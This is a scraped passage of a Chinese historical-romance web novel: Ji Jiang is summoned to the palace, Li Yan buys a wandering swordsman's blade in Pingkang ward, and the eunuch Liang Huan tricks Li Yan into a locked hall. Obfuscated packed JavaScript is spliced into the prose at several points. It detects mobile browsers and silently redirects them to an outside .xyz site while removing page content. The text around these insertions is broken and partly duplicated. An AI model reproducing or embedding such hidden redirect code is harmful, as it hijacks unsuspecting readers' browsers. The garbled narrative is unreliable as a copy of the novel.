她安心在院子里待了几日,只每日晨昏定省去给孟老夫人请安时才出院子,可她终究也不是个多么沉静的性子。 这日,季姜终于耐不住,带着宝帘出了院子。 然后,隔过一条荷花水渠的院子里,知妗的贴身女使入画就第二次进里阁报了院外的情形。 第一次报季姜从院外走过时,知妗没放在心上。 这次再报,她才放了书打算去看看。 掀帘出去,果然看到院外有一绿一粉两个小娘子的身影。 不是季姜和宝帘又是谁。 “阿姜。” 知妗站在院中喊她。 季姜有些不好意思地回她,“阿姐。” 其实季姜是想带着宝帘在府里转转,看哪里好就在哪里坐一会儿的,可她对府上不止是不熟悉,而是陌生,陌生到她不知道出来院子应该去哪儿,或许还有她不能去的地方,她也半点不知。 后院里除了昨日对她表现出亲近友善的知妗,其他人对她的喜恶她也不知道,也不想贸然去与姊妹相交。 所以当季姜路过知妗的院子,走过一段后她又退了回来。 她觉得阿姐的院子就是她现在最想去坐一会儿的地方。 见院外小娘子似是有些不好意思,知妗有点好笑,抬手招她。 “阿姜,傻站着做什么,快来。” 看五娘笑了,季姜这才放心走进去。 季姜走到面前,知妗温柔地握上她的手。 “阿姜可用过午食了?” “方用过。” 知妗拉着她进屋,“这天是太热了些,来,咱们还是进屋里说话。” 季姜的身子不好,比之一般人要更畏冷,她反而没觉得有多热,只是顺从知妗道了声好。 从屋门到里阁还有道短短的廊道,初夏的艳阳透过竹帘洒进来,两人轻薄的裙衫在阳光里擦过。 知妗回头朝季姜神秘地笑笑。 “阿姜来的正是时候,阿姐这里有好东西呢,你想不想看看?” 知妗与季姜明明是同岁,可面对季姜这个妹妹时她总是显得成熟几分,这会儿说起话来,更如诱哄稚童一般,温柔得不像话。 季姜笑着点头,“想看。” 到了里阁,季姜方一坐下,知妗就喊入画,紧接着,就见入画端着一个漆木托盘进来了。 托盘上放了两个莲花盏,盏里盛着冰水,水中浸着几个白白的雪圆子,伴着碎冰在水里浮浮沉沉,冰凉的雪圆子衬着莲花盏的绿,乍一看便觉得清新。 “这是.....” “这个叫冰雪冷圆子,长安人夏里都爱吃这个,阿姜尝尝?” 知妗笑道。 “嗯。” 瞧着少女温婉的笑,季姜也笑着应道。 还不等季姜伸手去端那莲花盏,就听廊下一阵脚步声。 下一刻,孟潇的身影伴着声音出现在帘外。 15. 圣人召我 “五娘,六妹妹在吧?” 不等下人通传,孟潇已经拐过廊道,撩帘走进来,他一路过来跑得急,额上已经覆了一层薄汗。 阁里两人朝门口看过去,季姜伸出的手顿了顿,复又收回来。 她笑道:“二哥来的还真是时候,阿姐这刚给我端出来新鲜物什。” 孟潇朝托盘扫了一眼,也顾不上许多,直接上前来拉季姜的手腕。 “不是时候不行啊,你快别吃了,跟我走。” 孟潇这话季姜一时没听懂,她‘啊’了一声,还没想过来就懵然被孟潇拉起来,牵着出了里阁。 “这是怎么了?” 知妗被这阵势吓了一下,跟在两人身后一起出了院子。 “二哥,你要带阿姜去哪儿?” 季姜看向孟潇,她也想知道,出了什么事让他急成这样。 三人脚下不停,继续朝前院走,孟潇闻言回头,眼神扫过两人时蓦然瞥见季姜那双圆圆的杏眸。 小娘子脸色还是苍白,眼底干净清澈,纤尘未然,只是歪头疑惑看着他,乖巧等着他说话。 他六妹妹才刚回家,她还什么都不知道,孟潇眼神微黯,最后还是落到知妗脸上,皱眉低声道:“宫里来人了。” 孟家不是第一次承见天使,知妗反应很快,“来的是谁?因何而来?” 孟潇眼角瞥向季姜,后者心下莫名一紧,果然就听到—— “来的是圣人跟前的良内侍,指名要见六妹妹,许是为着李兖......” 话音刚落,季姜的小手立马抽了回来。 一瞬后,她眉间皱起,既愤怒又不耻地喊道:“李兖他恶人先告状!” 好啊好啊,李兖这厮看着是个胆大妄为、敢想敢干的,自己与他斗了一路,到头来,他先跑到宫里告状去了。 这跟受了欺负就找爷娘的小儿有何不同? 亏他还长自己几岁呢,也不害臊。 这下不用孟潇拉着,季姜自己就往前院快步而去。 “阿姜......” “六妹妹.....” 兄妹三人换了站位,季姜提起裙角气呼呼往前院去,准备与李兖派来的人理论,孟潇两人在后面追她。 三人一路拂花穿柳走过后院几道回廊,沿路碰到家中女使也只是匆匆挥手而过。 女使们从没见过这样的小主子,不禁三三两两的在廊下驻足,视线追着那抹绿影,不时与同伴笑语。 靖武帝与孟詹山一众人是自小的伴当,良患伺候靖武帝几十年,在平城时就与孟家人相识已久,待迁都到长安以后,逢年节靖武帝赐给近臣的年赐,也每每是良患亲自来送,是以他与孟家人甚是相熟。 可良患毕竟是宫中天使,孟詹山不在府中,孟老夫人自然出来迎他。 “淑人周氏见过良内侍。” 孟老夫人缓缓下拜。 “哎,这可折煞奴婢了。” 孟老夫人是儿子挣得诰命,哪用得着给良患行礼。 虽不知今儿又唱的哪一出,良患还是赶紧上前要扶孟老夫人。 只这手还没搭上去呢,人家就自己起来了。 他手反倒是僵在那儿,不上不下。 孟老夫人已然在太师椅上落座,还顺嘴客客气气道句,“都愣着干什么呢,没点眼力见儿,快请良内侍落座。” 点拨他呢。 没办法,自己圣人惹的事,圣人不出宫,这帮老的没办法仗着旧识长辈身份说刺圣人,只能拿他出出气罢了。 良患笑笑,一甩拂尘在旁边落了座。 没人说话,前厅里一时安静下来,孟老夫人端着茶盏不放,也不多喝,就一会儿抿一口一会儿抿一小口,一副不愿多言的样子。 她不放茶盏,良患也不好开口搭话,就静静坐在一旁,只在心中暗道,这周氏年轻时便是出了名的面软骨头硬,话说得多漂亮刺得你就有多狠,如今年岁大了,连面软都没了。 孟大将军也随了这周氏,是武将里少见的圆滑人,莫不是孟家人里每一代都要出这样一个人? 那到这一辈......千万别是那位孟六娘子才好。 两人僵持间,赵嬷嬷从外面走进来,在孟老夫人耳边低道:“二郎君和两位小娘子往这边过来了。” 孟老夫人皱眉,“谁喊的他们?” 赵嬷嬷想了想,如实道:“三夫人方才来过院子里,正巧在门外碰上刚给您请完安出院子的二郎君。” 孟老夫人眼中闪过一丝厌烦,到底没说什么,只挥手叫赵嬷嬷下去。 伴君多年的良患早成了个老人精,孟老夫人的神情一丝不落地全落进他眼里。 孟老夫人一开口,良患就趁机笑道:“老夫人近来身子可好?您多日不曾去大安宫,太后娘娘还时时念叨着您呢。” 当今冯太后是先太祖发妻,圣人的嫡母。 太祖是萧氏偏支的子弟,而冯太后是萧氏庄园佃客家的女儿。 冯太后出身不高,后太祖起事征战四方时,却是她带着孩子留守平城。 靖武帝乃太祖第四子,也是由冯太后养大。 乱世里,太祖在外打仗,冯太后一个女子独自带着七八孩儿,在平城的日子并不好过。 孟老夫人周氏家中是商户,乱世里还在平城开着小酒楼。 周氏的小酒楼就开在萧家宅子的对过。 从那会儿,孟老夫人就时常拿吃食接济冯太后。 患难的交情,一直到如今也不曾散,冯太后与孟老夫人关系还如旧时那般好。 冯太后隔三差五得了好玩意儿也还想着孟老夫人,常命大安宫的内侍来接孟老夫人进宫,是以良患才这样说。 孟老夫人看都不看他,开口说得话似刀子般刺向良患。 “太后念叨念叨我这把老骨头尚使得,只求良内侍回了宫里万万不要在圣人面前常念我们孟家才好,我只这几个孙女儿,哪里够圣人瞧的。” 这还是不满孟、李两家小辈的婚事了。 可季姜和李兖的婚事事关朝政,良患哪里敢随意置喙。 只打哈哈道:“奴婢哪里敢当老夫人的一句求。” 孟老夫人沉着脸不开口。 良患笑道“:太后娘娘与圣人母子一心,太后娘娘念着您,圣人自然也不例外,素日就最是紧着咱们府上,” “端看六娘子这婚事,那也还是好的,这文宣侯的家世已是大晋数一数二的,府上当家的夫人也是出了名的软和人,再说小侯爷......” 良患一时顺嘴吐出了李兖,可左想右想,却一时难说出李兖有什么显而易见的好。 可话都顶到这儿了,怎么也得圆上。 “小侯爷......” 在孟老夫人满含轻嘲的眼神中,良患硬着头皮道:“小侯爷皮相生得好,人也活泼爽朗不是?” 这话一出口良患就后悔了,他自己就先在心里抽了自己一嘴巴。 而今女子嫁人,一看郎君才干,二看郎君家世,什么都没有的,才看那张爷娘造就的脸。 只因着既已经什么都没有了,那只能一退再退、退而求最次。 图个看了舒心罢了。 可他们小侯爷不一样啊...... 不等他再粉饰粉饰,就听前面孟老夫人笑起来,她手上茶盏盏托相磕,发出一阵清脆的瓷声,听得良患更心凉了。 孟老夫人幽幽道:“是啊,皮相不错,小小年纪能叫平康坊满楼红袖招的,想也是不错,” “可惜啊,小侯爷不是女子,我家六娘也不是男子,否则,还真是不错。” 一连几个‘不错’被孟老夫人咬得重重的,这次老夫人心里是真生出气来了。 女子嫁人乃是关乎一生的大事,没听说哪家嫁女看的是郎君那张脸皮的,良患这话她听着就觉得她家小六被轻贱了去。 “祖母。” 小娘子清脆含笑的声音传来,打破前厅逐渐僵下来的两人。 望着厅廊外沐阳而立的小娘子,良患晃了下眼,继而如蒙大赦站起来笑道:“这位就是六娘子吧?” 季姜提起裙角踏上台阶往里面走来,经过良患时她也没有停留,只是笑着向他轻轻一颔首,擦肩而过来到孟老夫人身边。 “六娘来了?快来,到祖母这里来。” 孟老夫人慈爱笑着,伸手招季姜到她身边。 “祖母。” 季姜先行礼,起身后坐到了孟老夫人下首的矮凳上。 落座后,季姜轻轻匀出口气,拿帕子拭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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良患只说了这样一句,全然不知季姜脑补出了什么。 旨意带到,他便躬身行了礼,带着人往外走。 直到这会儿季姜似才反应过来,她想喊住良患却又不想叫祖母听了担心,只好起身紧跑了两步,追上良患。 自方才一见,良患就觉得孟家这位六娘子有些不同,可方才没搭上话又摸不准哪里不同。 现下被人叫住,看着季姜由远及近跑来,粉绿相间的身影,良患才瞧出来几分。 孟家这小娘子身子空乏虚弱,甚至跑不得几步路,但胆子不弱,他在宫中待得久了身上多少沾染些圣人的余威,可方才她就敢明晃晃抬眼瞧他,这会儿还跑上来与他闲话。 “良内侍,请留步。” “六娘子唤奴婢?” 良患回身。 季姜在良患面前站定,沉了口气,问他,“李小侯爷可挨了圣人的责罚?” “不曾。” “半点都没有?”季姜不甘心。 “没有。” 良患当然不会说李兖已经被圣人敲了一顿的事。 小侯爷长大了,也要面子的,更何况是在孟家这位小娘子面前。 季姜不愿再绕弯子,干脆一跺脚给自己打了个气,仰着脖子问道:“那圣人明日召我,可是为责我欺负了李兖?” 欺负......小侯爷? 良患一时愣住。 他太久没听过‘欺负’两字出现在李小侯爷这个名字之前了,往往告到太极宫的都是‘小侯爷欺负了......’ 如今久违的听到了,还是在一个身子弱到风一吹就跑的小娘子身上,这可真是稀罕事。 不过想归想,良患很快反应过来,想是他没说清,叫小娘子误会了圣人的意思。 遂朝季姜笑道:“六娘子不必担心,明日来了宫里便知道了。” 季姜蹙着眉,显是更疑惑了。 可良患笑得一脸和气,往外边走边说:“不必担心啊,明日奴婢在宫门等您。” “哎良内侍……” “我明日迎小娘子,不必担心,不必担心啊。” 季姜看人走远,只恨前厅孟老夫人还坐在那儿,不然她真要上前去扯良患袖子,再多探问两句了。 等季姜回了前厅,孟老夫人虽没跟良患一样笑却也是同样的说辞,还顺带安抚了季姜几句。 可李兖一路以来的所作所为岂是一两句安抚便能揭过的,季姜这一日心中始终惴惴不安。 16. 平康坊李兖买刀(埋祸) 金乌回落,霞光斜照。 良患一脚踏出孟府,西边耀眼的夕光斜洒在人脸上,照出一片暖意。 旁边紧跟着的阿蛮见状,赶紧走上前去,宽袖一展就要给良患遮阳。 只他胳膊仅抬了一半就被良患拂开了。 “这样好的夕阳,遮它做什么?” 良患直直看着西边,一点金光随风落进浑浊里,渐渐凝在他早已不清明的眼底。 “翁翁不是素来厌烦这照阳嘛。” 阿蛮收起袖子,由自撇撇嘴小声嘟囔。 良患由人扶着坐到马车前,他似乎真的爱这夕阳,也不往车厢里去,反倒一揣袖子半倚在了车边上。 听不到良患搭话,阿蛮也不觉什么,抚了抚袖子坐到另一侧,抬手甩出一鞭。 马车缓缓向前,迎着夕阳去。 等驶出坊道,良患才含混地念叨了句,“夕阳无限好,只是近黄昏啊。” “啥昏?”阿蛮侧耳问。 “仔细驾你的车,” 良患抬手拍在阿蛮脖颈上,又道:“先不回宫,咱爷俩且得再去趟平康坊呢。” 平康坊乃是风流薮泽之地,他们两个没根的人跑哪儿去干什么,阿蛮想着,眼神不自觉瞥向旁边。 良患不用看也知道阿蛮在想什么,他闭上眼,有点不耐烦道:“去找小侯爷。” “哦。” 阿蛮收回眼来。 不过只静了一瞬,甩下一鞭子后他又忍不住开口:“阿姐不是在东市嘛,翁翁怎么不叫她把人带进宫来?” 良患一巴掌重重拍在阿蛮的内侍帽上,阿蛮嚎叫一声缩着脖子捂住头。 “你小子是个只长个子不长脑子的,” 良患半睁开眼斜睨着他,幽幽道:“你阿姐如今是给圣人办事的紫衣使,那就只能听圣人的,你我是什么东西,也差使得上她?” 阿蛮嘟囔:“那还不是您给她求来的。” “你说什么?” “没.....没什么。” “驾车赶快些,一会儿宫门要是落了钥,你看我扒不扒了你的皮。” “知道了。” * 其时,李兖一行人还真的正待在平康坊。 入平康坊北门向东有三条巷子,时人谓之三曲。 曲中坊楼林立,楼阁相接,红木连廊自半空穿街而过,绿绸红带相交缠绕,随风柔软飘动,似乎只待入夜便能化成勾人心魄的妖精。 三曲之中聚集了长安名伎、京都侠少,其中的伎者虽都属教坊籍可也分个三六九等。 南曲、中曲里住着的都是些早有声名的名伎,与其往来者也都是勋爵权贵之流。 北曲住着的伎人便差了许多,且除了伎人,北曲还住着些不大见光的外来游侠儿。 尚不到酉时,平康坊里还没多热闹,从北曲往南曲的廊道上,有两个人一前一后走过。 李兖摆弄端详着手里的赤金缠枝小刀,一会儿照着夕阳瞧瞧,一会儿低头展袖擦擦,喜欢的不得了。 因对这里轻车熟路,李兖不必看道,脚下一转就拐过了廊弯。 察觉到后边的人没跟上来,他把匕首往腰间一别,向后倒了几步,身子后仰,看那人在干什么。 他身后的男子一身褴褛几乎遮不住身体,好在外面披了条李兖临时找给他的破布,堪堪遮挡住隐私,不至于因为暴露而被坊中娘子赶出去。 他从没来过中曲南曲,看什么都是新鲜物,细小的眼缝一眯,眼珠滴溜溜四处乱转。 男子怀里还紧紧抱着一把足有巴掌那么宽的大刀,这会儿察觉到李兖的目光,他赶紧收回视线攥了攥手,把刀抱得更紧了。 李兖见状,唇角一勾嗤笑道:“抱着吧,你配不上这把刀,也就抱这最后一会儿了,” 他说完转身继续往前,嘴上催促道:“快点走,别磨磨叽叽的,再晚一会儿上了夜,你的朱绿娘子可就接客去了。” “连你夜里也见不到她?”男子凑上前来。 “我闲的没事干,夜里见她做什么?” 李兖随便答了一句,又伸手摸出他新淘来的那把小刀。 李兖爱刀,已经爱到心无旁骛的地步了。 男子见他毫不在乎的模样,一下急起来,“我不管,你要想买我的刀就必须带我见到她,不然你出多少银子我都不卖。” “小爷这不是正带你去吗?” 李兖这会儿心情好,也不介意男子话说得不客气,反倒悠悠道:“不过你今儿也是来得巧了,朱绿恰好就在南曲小阁里,不然你还真不一定见得到。” 平康坊李兖常来,不过他每次来都直奔北曲游侠儿聚集的地方。 这些游侠儿本在江湖上飘荡得好好的,却偏要挤破了脑袋来长安,但一腔武艺不能当饭吃,他们又因武艺高强大多自傲,一般不愿去朱门里做护卫。 没银子又贪恋长安的繁华不愿离开,那就只剩卖掉自己随身的武器机械度日了。 而他们的武器大多一脉相承,不是官家能造出来的,李兖最是喜欢这些东西,游侠儿想要银子,他想要绝世武器,正好一拍即合各取所需。 杨景荐几人是从不来北曲的,他们一般都待在南曲小阁,而今日萧峥点了朱绿。 穿过一段系满红绸的廊道,还不到阁门就听到里面传来阵阵娘子的娇媚笑音,伴着柔柔的暖香飘满整个小阁。 两人走过去,守在门口的侍卫自然认得李兖,只他上下扫了几眼那男子,朝李兖为难道:“小侯爷,这.....这不好进去吧?” 李兖懒得跟他废话,扔下句“放他进外堂来”就自顾自往阁里走进去。 男子抱着刀紧紧跟在李兖后面。 前面少年高束的马尾轻晃,编发银饰清脆作响,穿过少年身侧,隔着纱帘,他隐隐窥见内堂里的笙歌曼舞、灯火辉煌。 李兖进去时,朱绿正倚在萧峥怀里给他喂酒。 朱绿年方十六,是平康坊三曲中最美最有才名的伎人,她与别的伎人不同,同样是依靠在男人怀中,可朱绿眉眼间却不显得谄媚,而是有一种纯净,叫人见之忘尘,叫男人忽略了她出身教坊。 女子娇艳,少年俊美,两人相依相偎间自成一幅美人图。 杨景荐几人也各自坐在自己的地席上,众人透过纱帘乍见堂外男子的装扮,一时只顾着打量他,都没说出话来。 还是窦方宝先开口道:“这位郎君是.....?” 李兖随意摆摆手,“不重要。” 杨景荐也随意打量着,见男子穿成这样,他瞬间皱起眉来,嫌弃地轻啧了声,垂眼默默端起桌上的酒盏,不想再看。 只是端酒的手举到一半就被旁边的李兖截胡了去。 然后他更默默地,仰头看着李兖喝完了他的那盏好酒。 平康坊最好的酒! 每日限量,仅此一壶。 李兖看不到杨景荐咬牙切齿的样子,他干脆利落地喝完了一整盏酒,并大发慈悲的把酒盏扔回给杨景荐。 杨景荐爱美爱洁,哪怕是最上等的凉玉盏,他也再不去碰一下,只别过头,眼不见为净。 李兖屈腿席地一坐,指了指男子,对萧峥道出来意。 萧峥闻言皱眉,“你成心来恶心我。” 他不是怀疑,是肯定,李兖带这人来,就是为了恶心他。 李兖也不知道,怎么萧峥就总能那么把自己当回事呢。 他道:“见一面又不会少你块肉,再说了,又不是见你,有何不可?” “我若不呢?” 其实要不要朱绿出去见人萧峥也不在乎,他就是要跟李兖作对罢了。 李兖不擅长跟人兜圈子,直接朝阁外喊:“哥舒,把朱绿请出去......” “你敢!”萧峥摔了杯子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514249|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你看我敢不敢!” “哎别动手别动手,” 孟濯站起来,挥手往回赶哥舒,“回去回去,她哥俩闹着玩呢。” 哥舒看向李兖,李兖朝萧峥的方向抬了抬下巴,“看他。” 杨景荐支着下巴,长叹出口气,随意道:“这人已经在这儿了,一个游侠儿罢了,阿驷你直接杀了他把刀夺了不行吗?你俩何必如此僵持。” 这可真是个办法啊,李兖心下微动,却还是摇了摇头。 “不行,名刀都是认主的,我不能杀他。” 杨景荐被李兖的幼稚想法击败。 他翻了个白眼,干脆摊手不再干涉。 平康坊是官家教坊,几人虽没有透露过身份,但朱绿不是没有猜到过一二,她左右看看,欠身笑道:“公子若不介意,奴家想去见见那位郎君。” 这话算是台阶了,是她自己想去见的,并非受李兖所迫,萧峥也不必再针对李兖。 等朱绿退下去,孟濯开口问道:“他为何非要见朱绿娘子?” 李兖皱眉,这他还真不知道,不过管他为什么呢,他又不在乎。 一片静默中,窦方宝举了举他胖胖的手,“我好像知道一二......” 几人看过去,窦方宝回忆道:“你们也知道,我没事爱去书肆逛逛,那日原说好与孟五一起的,谁知道他却不去了......” “说重点。” 李兖敲敲案面,不耐烦道。 “我在书肆撞到了万年县县丞家的两位娘子,听得几句闲话,说是她们大姐姐死活要嫁给一个来长安的游侠儿,县丞拗不过亲女只能答应,” “据说临近快成亲了才知那游侠儿来长安不为别的,只为着一睹天下名伎......” 江湖人做事往往随性,奔走千里只为一睹天下名伎这样的事,也不是做不出来的。 窦方宝讲到后面已经没几个人听了,游侠儿配小官家娘子的风月事在戏楼和话本子上看看便行了,长安这些见惯了繁华的贵公子们是不屑于去细听的。 只有李兖,听完后有些若有所思起来。 “这么说,那县丞家女儿还是要跟他成亲?” 窦方宝说完,李兖低声问了句。 “想来应是,这不就来卖刀攒银子,要好好跟县丞家女儿成亲过日子了嘛。” “可.....” 那男子刚才说过的,只要让他见朱绿一面,他可以一枚铜钱都不要。 这是要好好过日子了? 李兖想了想还是没再问,刀到手便行了,其他的与他何干,无非是些风花雪月情情爱爱,左右也不会生出什么大事。 几人坐了会儿,朱绿就重新走进来。 萧峥盯着她瞧,朱绿娇羞一笑,“没什么大事,只那郎君仰慕奴家琴技,特来拜会。” “仰慕?你倒不羞。”杨景荐打趣道。 朱绿依旧面带娇笑,她说完又对李兖福了福身道:“小侯爷,那郎君说他说话算话,刀给您外面那侍卫了。” 真不要银子了,就为见了一面朱绿? 事办完,李兖再无心多想,起身便走,踏出小阁时哥舒就等在一旁,李兖目光一转,果然见他手里提着游侠儿的那把刀。 日头渐晚,夕阳变得愈发浓重,红光普照长安,两人一前一后走在坊楼的旋梯上。 “算了,也挺不容易的。” 走到旋梯中间时,李兖忽然停住。 他对身后的哥舒道:“去把银子送到万年县县丞家。” 哥舒听命,刚要抬脚,就听李兖又道:“记得要亲自交到县丞家大娘子手上,然后.....再多给十两,去吧。” 哥舒走后,李兖走出坊楼,迎面便在楼下看到了良患一行人。 他停步,抱臂朝良患一伙人扬扬下巴,笑道。 “哟,这不良大内侍吗?” 17. 哄骗进东宫 几日不见,少年还是那副样子,抱臂上下扫视着挡路的人,对上人脸时眼中的张烈桀骜也丝毫不加掩饰。 避开李兖的眼神,良患上前弯腰行礼,却被少年一把挡住,顽笑道:“哎哎哎,可不敢啊,我可不敢受良大内侍这礼。” 这是良患在长安城门抓了李兖进宫后两人第一次碰面。 李兖记着仇呢,自是不会给他好脸色。 虽这样说,可良患知道自己此行的目的还是请人进宫,故而不管旁的还是规规矩矩先把礼数行完。 李兖背起手来,闲闲地围着良患转圈。 “呦,良大内侍今儿不给圣人抓人去了?怎么有空闲到平康坊来了?” 良患讪笑。 “小侯爷是知道的,稽查抓人一直都是兆明司那帮紫衣使的活计,跟奴婢毫不相关,奴婢寻人皆是‘请’的。” 李兖哼笑一声,往后退了两步站定,抬手招良患。 良患抬眼看他,虽还笑着却是不敢过去。 李兖亦不在意,兀自上前搭上良患的肩。 “今日什么事由啊,” 李兖一笑,故意讽他道:“平康坊也有圣人惦记的人啊?” “这话可不敢乱说啊,圣人从没来过平康坊。” “嘁,这话你留着骗骗别人得啦,” 李兖拍拍良患的肩,仰头看着天幕,故意逗他:“孟大将军东巡之前,他们几个老兄弟没来过吗?那天李侯爷可都没回府啊。” “没有吧。”良患嘴硬道。 “嘶~这倒是奇了,我怎么觉得那天似是看见他们......” “小侯爷,” 良患急忙打断李兖,赶紧道出来意,“太子殿下回来了,请您到东宫去呢。” 果然,李兖一听这话立马把调侃良患的事扔到了脑后,高兴道:“真的?” “三哥回来了你不早说,还等什么,快些走吧,一会儿宫门该落钥了。” 良患喏喏应是,引李兖上了马车。 车帘撩起又垂下,阿蛮凑到良患耳边。 “翁翁怎么骗小侯爷?” 良患看了眼马车,敲他脑袋,细声细气却理直气壮道:“这能叫骗吗?圣人有言,管他好招坏招,能得了就是好招。” 李兖这孩子虽脾气暴躁,可到底还是单纯好骗,他乃御中内侍,管得着东宫什么事呢。 唉,还是太嫩啊,良患摇头晃脑叹息着坐上马车。 明明就是骗人的把戏,阿蛮挠了挠头固执地想。 南曲小阁上。 窦方宝多饮了些酒出来吹风,看到良患的身影时,他先是往栏杆后面一缩,然后使劲揉了揉眼再探出头去看。 直到眼睁睁看着马车驶远,他方才反应过来,推身边小厮进去喊人。 闻听是良患,没一会儿功夫,阁里几人都走了出来,凭栏远望去找良患身影。 “哪儿呢?” “窦二,你看花眼了吧。” 窦方宝笃定“没有,他把阿驷带走了。” 众人不信,可杨景荐却忽然想到什么,转头问:“那天阿驷进宫......是不是没挨板子啊?” “这是何意,难不成还能给他补一顿不成?” 一旁的孟濯闻言,脑中炸闪一线白光,他缓缓睁大眼睛,惊疑不定道:“我家六妹妹明......明日进宫,圣人宣召的。” 话音一落,众人都朝孟濯看过去。 此刻,孟濯的话就像一根大棒槌,从天而降直直砸在人群里,‘轰’的一声,贵公子们四散而逃。 孟濯也往楼下走,还不忘叮嘱自己的小厮文棋。 “听说年芳楼新出了种酥山,我猜六妹妹一定会喜欢的对吧?咱们这就去买些。” 文棋觉得好笑,“郎君,年芳楼的酥山抢手得很,哪里是说买就能买上的。” “那六妹妹还喜欢什么?” “……郎君,小的连见都没见过六娘子,哪里知道这些。” “看你们这点骨气,亏还是在东观堂陈夫子教下的,真是丢陈夫子的脸......” 杨景荐嘲讽的声音传来。 可他身子却已经超过孟濯,那样子恨不得即刻插上翅膀飞回杨府去。 众人“......” * 入夜的皇城像一座蛰伏黑夜的怪物,从上面瞧去,即便四处望楼悬灯,各宫轩窗沁光,星星点点的烛光也照不透彻大片的黑暗。 宫道深长幽暗,宫人执灯,李兖和良患同行。 去年迁都到长安后,太子的东宫本早已修葺完善,可年初大朝会上靖武帝又提出要建一座文士馆。 地方就定在了东宫的文春坊。 如今工部吏员和东宫上下都在忙这件事,太子因督工之责也常居文春坊旁边的崇仁殿。 所以当良患领着李兖路过武德殿,走进后面的崇仁殿时,李兖没觉出半点不对。 “三哥在里面吗,怎么这么安静,也不见几个伺候的宫.......人” 李兖话还没说完,就听身后‘砰’的一声。 他回头看去。 身后殿门紧闭,哪还有半个人影。 “良患?” 殿内灯火通明,殿外寂静无声。 意识到自己被骗,李兖闭上眼,深呼吸一口气,再睁开时,他眼中仿佛燃起两团扑闪扑闪的小火苗。 “良患!” “你这个老狐狸!”李兖暴怒大吼。 “你明日必死!”他咬牙切齿。 殿外,良患和阿蛮耳贴在殿门上。 李兖的暴怒声层层荡开,直震得两人耳朵发疼。 虽然有靖武帝撑腰,可良患还是心底发虚。 他哭丧着脸回道:“小侯爷,您就委屈委屈在里边儿待一夜吧,殿里什么都备好了,吃点喝点这一夜就过去了......” “快滚!” “那您早点歇下吧,奴婢去圣人那儿复命了啊,” 良患走出几步,又回身嘱咐:“太子妃娘娘有孕在身,就歇在前面的丽正殿呢,小侯爷您可别折腾......” “来,你不滚就进来说话!” 李兖话说得凶狠,可声音却不大了。 “滚滚滚,奴婢等这就滚了。” 良患带着阿蛮快步离开崇仁殿。 等人都走了,李兖站在原地环顾殿内。 长颈铜雀炉里燃着熏香,矮案上摆满了糕点酒水,画屏后面甚至还摆上了浴桶。 李兖什么也没动,他径直走到床榻边坐下,闷闷坐了许久才合衣躺下,被子拉过头顶,把自己整个盖起来。 可刚蒙上没多久,李兖又坐了起来。 他鼻尖微动,眉峰紧皱,最后忍无可忍翻身下床。 巡视一遍殿内,李兖拿过案上的茶壶,赤脚走到铜雀炉边,把茶水全部倒进去。 李兖不喜熏香,待殿内味道消散,他方才舒心睡去。 * 翌日一早,天边熹光微微时,季姜便被毓娘三人连哄带骗地扯了起来。 半个时辰后,外堂垂帘被一双白嫩素手轻轻掀起。 知妗探身进来,映采正在廊下,抬眼瞧见她便要通传,知妗赶紧抬手在唇上‘嘘’了一声。 她提起裙角,放轻手脚往里阁走。 妆台边,季姜正半伏在台上撑着下巴打瞌睡,清晨的曦光落在她脸上,苍白的脸颊沾上一抹淡粉,一向灵黠的双眼轻阖,少了素日的灵动,却如雪团子般圆润柔软。 知妗笑看她一会儿,伸手轻拍她软软的雪腮。 “阿姜。” 季姜睁开眼,有些迷糊地揉眼,“阿姐?天还早阿姐怎么过来了?” “来看看你。” 季姜摆摆手,“哎呀,阿姐放心就是了,毓娘她们早已收拾妥当,等用过朝食我们就出府。” 知妗轻柔拍拍她的头,笑道:“我们阿姜心智聪颖,阿姐没有不放心的。” 知妗扶正季姜的肩膀,上下打量一番后伸手摘下她头上那支银摞步摇,递给一旁的毓娘。 “阿姜活泼好动,不要给她用这样的饰样了。” 毓娘接过步摇,她细看了看将步摇收进妆奁,笑道:“五娘子说得是,是婢子疏忽了。” 季姜闻言去看毓娘手上那支步摇。 步摇以银屈曲成花蔓,其上缀一颗南珠,簪头垂下三道细流苏,走动起来流苏必定轻晃,她这样走两步都要蹦蹦跳跳的人,估计能直接甩到脸上去。 她阿姐可真贴心啊,季姜笑着摇晃五娘的手。 “阿姐可用过朝食了?不如与我一起吧?” 知妗早用过了朝食,可她还是应道:“好啊。” 毓娘出门去给两人取朝食,走到廊道上便看见在给盆植浇水的映采。 她过去伸出手指点映采的额头。 “你粗心了。” 映采皱眉不解。 毓娘提点她道:“小娘子好动,往后不要给她簪带流苏的头饰。” 稍加回忆,映采便恍然大悟地张大了嘴,继而低头道:“毓姐姐,我疏忽了。” “你还小,日后注意着就是,去忙吧。” 毓娘在映采满含崇拜的眼神中,领着人出了门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514250|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季姜第一次进宫,又没有长辈随行陪同,知妗说放心其实还是不放心的,她拉着季姜不停地叮嘱,一直送到孟府门口才放手作罢。 马车离府远去,直到再也看不见,她方才转身回府。 入画跟在她身后,笑道:“娘子对六娘子可真好,比对七娘子还要好。” “阿姜是我血脉相亲的妹妹,七妹妹怎能与阿姜相比?” 